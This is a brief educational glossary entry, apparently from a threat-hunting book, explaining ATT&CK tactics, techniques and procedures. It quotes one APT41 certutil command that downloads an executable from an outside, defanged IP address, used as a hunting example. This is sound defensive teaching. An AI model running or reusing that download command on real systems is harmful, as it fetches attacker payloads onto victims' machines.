Threat actor tactic

As explained in Cyber Threat Hunting

A tactic in the ATT&CK framework is an adversary's tactical goal or reason for performing an action.

A threat actor tactic is the adversary’s tactical goal—the reason for performing an action. In ATT&CK, tactics answer “why,” while techniques describe “how.” section 2.6

Use the ATT&CK hierarchy to connect goals with observable behavior:

  • Tactics express goals such as execution, credential access, exfiltration, or impact. section 2.6
  • Techniques describe actions used to achieve those goals, such as dumping credentials for credential access. section 2.6
  • Subtechniques refine behavior, while procedures record specific implementations used by adversaries. section 2.6

From action to tactic

A threat-hunting play can map Command and Scripting Interpreter (T1059) to the Execution tactic, then refine it to PowerShell (T1059.001) or Windows Command Shell (T1059.003). section 2.6

Listing 2.1 APT41 using certutil to download 2.exe
certutil -urlcache -split -f http://91.208.184[.]78/2.exe

Use the certutil command as a concrete procedure example and ask which adversary goal the download supports. section 2.6

How Cyber Threat Hunting covers it

How deep it goes
Defines the why-versus-how hierarchy and relates tactics to techniques, subtechniques, and procedures without detailing tactic internals.
Examples
Uses execution, credential access, exfiltration, T1059 subtechniques, and an APT41 certutil download procedure.
What you can do after
Evaluate adversary actions by mapping their tactical goals to ATT&CK techniques and hunting hypotheses.
How it connects
Connects tactical goals with techniques, subtechniques, procedures, threat hunting, detection rules, and hypotheses.
